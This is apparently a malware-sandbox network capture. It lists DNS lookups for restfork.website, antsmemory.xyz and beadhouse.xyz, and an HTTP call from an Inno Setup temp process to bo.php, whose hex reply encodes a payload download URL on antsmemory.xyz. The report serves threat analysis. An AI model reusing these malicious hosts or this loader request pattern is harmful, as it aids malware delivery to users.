Jan 21, 2024 17:27:13.264226913 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.264261961 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264275074 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264286995 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264298916 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264305115 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.264312983 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264328957 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.264344931 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.264678955 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264693022 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264748096 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.264837027 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264848948 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264862061 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264874935 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264888048 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264890909 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.264900923 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264914036 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264919043 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.264928102 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264940977 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264942884 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.264954090 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264967918 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264981985 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264982939 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.265014887 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.265023947 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.265652895 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.265666962 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.265678883 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.265691996 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.265706062 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.265717030 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.265743017 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.265764952 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.265778065 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.265789032 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.265805006 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.265813112 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.265816927 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.265830040 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.265844107 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.265850067 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.265857935 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.265872955 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.265873909 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.265904903 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.265904903 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.266613960 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.266627073 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.266638994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.266645908 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.266658068 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.266670942 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.266684055 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.266691923 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.266697884 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.266710997 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.266716957 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.266724110 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.266736984 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.266751051 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.266752958 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.266763926 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.266777992 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.266783953 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.266794920 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.266824007 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.267410994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.267604113 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.267616034 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.267627001 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.267640114 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.267652988 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.267656088 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.267663956 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.267664909 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.267678976 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.267690897 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.267693043 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.267704010 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.267718077 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.267731905 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.267733097 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.267745018 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.267757893 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.267761946 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.267772913 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.267815113 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.268309116 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.268567085 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.268579006 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.268591881 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.268604040 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.268615007 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.268618107 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.268630981 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.268645048 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.268646955 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.268657923 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.268663883 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.268671036 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.268685102 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.268690109 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.268698931 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.268711090 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.268719912 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.268724918 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.268752098 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.268775940 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272079945 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272094011 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272105932 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272119045 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272131920 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272146940 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272150040 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272161961 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272176027 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272177935 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272186995 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272219896 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272242069 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272255898 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272268057 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272279978 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272294044 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272305965 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272306919 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272320032 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272329092 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272334099 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272346020 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272356987 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272358894 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272371054 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272380114 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272383928 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272396088 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272399902 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272408962 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272422075 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272423983 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272435904 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272449017 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272450924 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272460938 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272474051 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272485971 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272495031 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272499084 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272511959 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272515059 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272524118 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272535086 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272536993 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272551060 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272563934 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272573948 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272576094 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272579908 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272591114 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272603035 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272634983 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.272932053 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272945881 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272957087 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272970915 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.272986889 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.273014069 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.273127079 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.273139954 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.273152113 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.273164034 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.273176908 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.273178101 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.273209095 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.273299932 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.273313046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.273324013 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.273338079 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.273350954 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.273356915 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.273377895 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.273391008 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.274051905 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.274065018 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.274076939 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.274092913 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.274106026 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.274113894 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.274118900 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.274131060 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.274132013 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.274142981 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.274156094 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.274157047 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.274182081 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.274194002 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.274195910 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.274207115 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.274219990 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.274219990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.274231911 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.274244070 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.274266958 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.275002956 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.275017977 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.275029898 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.275043011 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.275054932 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.275074959 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.275082111 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.275089025 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.275125980 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.318165064 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.367156029 CET	49712	80	192.168.2.6	104.21.61.51
Jan 21, 2024 17:27:13.485785961 CET	80	49712	104.21.61.51	192.168.2.6
Jan 21, 2024 17:27:14.333662987 CET	80	49712	104.21.61.51	192.168.2.6
Jan 21, 2024 17:27:14.380740881 CET	49712	80	192.168.2.6	104.21.61.51
Jan 21, 2024 17:27:24.150990963 CET	49720	443	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:24.151050091 CET	443	49720	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:24.151173115 CET	49720	443	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:24.167265892 CET	49720	443	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:24.167289019 CET	443	49720	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:24.420289993 CET	443	49720	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:24.420382977 CET	49720	443	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:24.532417059 CET	49720	443	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:24.532448053 CET	443	49720	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:24.532809973 CET	443	49720	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:24.532900095 CET	49720	443	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:24.550175905 CET	49720	443	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:24.597903013 CET	443	49720	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:24.740415096 CET	443	49720	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:24.740470886 CET	443	49720	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:24.740494013 CET	49720	443	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:24.740530968 CET	49720	443	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:24.749582052 CET	49720	443	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:24.749604940 CET	443	49720	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:24.775692940 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:24.894144058 CET	80	49721	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:24.894243956 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:24.894655943 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:25.013098001 CET	80	49721	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:25.070173025 CET	80	49721	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:25.070274115 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:25.088293076 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:25.206912041 CET	80	49721	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:25.234893084 CET	80	49721	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:25.234972000 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:25.260683060 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:25.412852049 CET	80	49721	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:25.412929058 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:25.439292908 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:25.585747004 CET	80	49721	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:25.586880922 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:25.626729965 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:25.780801058 CET	80	49721	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:25.780900955 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:25.800457001 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:25.946429014 CET	80	49721	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:25.946510077 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:25.971366882 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:26.131400108 CET	80	49721	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:26.131516933 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:26.149849892 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:26.296302080 CET	80	49721	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:26.296396017 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:26.321538925 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:26.475902081 CET	80	49721	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:26.475989103 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:26.502770901 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:26.651355028 CET	80	49721	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:26.651585102 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:26.674153090 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:26.833616018 CET	80	49721	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:26.835189104 CET	80	49721	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:26.835287094 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:26.850028038 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:27:26.969418049 CET	80	49721	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:26.996143103 CET	80	49721	104.21.38.59	192.168.2.6
Jan 21, 2024 17:27:26.996289968 CET	49721	80	192.168.2.6	104.21.38.59
Jan 21, 2024 17:28:57.693836927 CET	49712	80	192.168.2.6	104.21.61.51
Jan 21, 2024 17:28:57.693927050 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:28:57.812767982 CET	80	49712	104.21.61.51	192.168.2.6
Jan 21, 2024 17:28:57.812843084 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:28:57.813051939 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:28:57.813057899 CET	49712	80	192.168.2.6	104.21.61.51

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 21, 2024 17:27:07.720835924 CET	59605	53	192.168.2.6	1.1.1.1
Jan 21, 2024 17:27:07.876882076 CET	53	59605	1.1.1.1	192.168.2.6
Jan 21, 2024 17:27:08.685561895 CET	61843	53	192.168.2.6	1.1.1.1
Jan 21, 2024 17:27:08.842314005 CET	53	61843	1.1.1.1	192.168.2.6
Jan 21, 2024 17:27:24.018222094 CET	57222	53	192.168.2.6	1.1.1.1
Jan 21, 2024 17:27:24.139106035 CET	53	57222	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 21, 2024 17:27:07.720835924 CET	192.168.2.6	1.1.1.1	0xb0d4	Standard query (0)	restfork.website	A (IP address)	IN (0x0001)	false
Jan 21, 2024 17:27:08.685561895 CET	192.168.2.6	1.1.1.1	0x1021	Standard query (0)	antsmemory.xyz	A (IP address)	IN (0x0001)	false
Jan 21, 2024 17:27:24.018222094 CET	192.168.2.6	1.1.1.1	0x5289	Standard query (0)	beadhouse.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 21, 2024 17:27:07.876882076 CET	1.1.1.1	192.168.2.6	0xb0d4	No error (0)	restfork.website	104.21.61.51	A (IP address)	IN (0x0001)	false
Jan 21, 2024 17:27:07.876882076 CET	1.1.1.1	192.168.2.6	0xb0d4	No error (0)	restfork.website	172.67.206.124	A (IP address)	IN (0x0001)	false
Jan 21, 2024 17:27:08.842314005 CET	1.1.1.1	192.168.2.6	0x1021	No error (0)	antsmemory.xyz	172.67.210.35	A (IP address)	IN (0x0001)	false
Jan 21, 2024 17:27:08.842314005 CET	1.1.1.1	192.168.2.6	0x1021	No error (0)	antsmemory.xyz	104.21.23.90	A (IP address)	IN (0x0001)	false
Jan 21, 2024 17:27:24.139106035 CET	1.1.1.1	192.168.2.6	0x5289	No error (0)	beadhouse.xyz	104.21.38.59	A (IP address)	IN (0x0001)	false
Jan 21, 2024 17:27:24.139106035 CET	1.1.1.1	192.168.2.6	0x5289	No error (0)	beadhouse.xyz	172.67.219.140	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

beadhouse.xyz

restfork.website

antsmemory.xyz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49712	104.21.61.51	80	3660	C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp

Timestamp	Bytes transferred	Direction	Data
Jan 21, 2024 17:27:08.009174109 CET	257	OUT	GET /bo.php?p=3876&t=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMDEwMDcgU3RhYmxlICBCbHVlU3RhY2tzIFR3ZWFrZXIgNTE2MSBGaW5hbCAgT1MgIFNDbG91ZFdTLmV4ZQ==&sub=2577&ps=6576a2b77bafa HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: restfork.website
Jan 21, 2024 17:27:08.631314039 CET	908	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:27:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 200 Connection: keep-alive X-Powered-By: PHP/5.4.16 Cache-Control: no-transform, no-cache, must-revalidate Pragma: no-cache Expires: Sat, 26 Jul 1997 05:00:00 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4E%2BQZ2Y3QSSv%2BLOpz7FpM7tEwXRH7O4BET7N9sGnpZvhCs1GWFncTdDlmtk6KU06fF7GNrhSUu0mgybFaQIsgXtY5DNmNm6jKycHmQnGTUvOB77AJjvPqeTGvA5Rs4BpiqnT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490ec3f6a831396-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 68 74 74 70 3a 2f 2f 61 6e 74 73 6d 65 6d 6f 72 79 2e 78 79 7a 2f 70 65 2f 62 75 69 6c 64 2e 70 68 70 3f 70 65 3d 26 73 75 62 3d 32 35 37 37 26 73 6f 75 72 63 65 3d 33 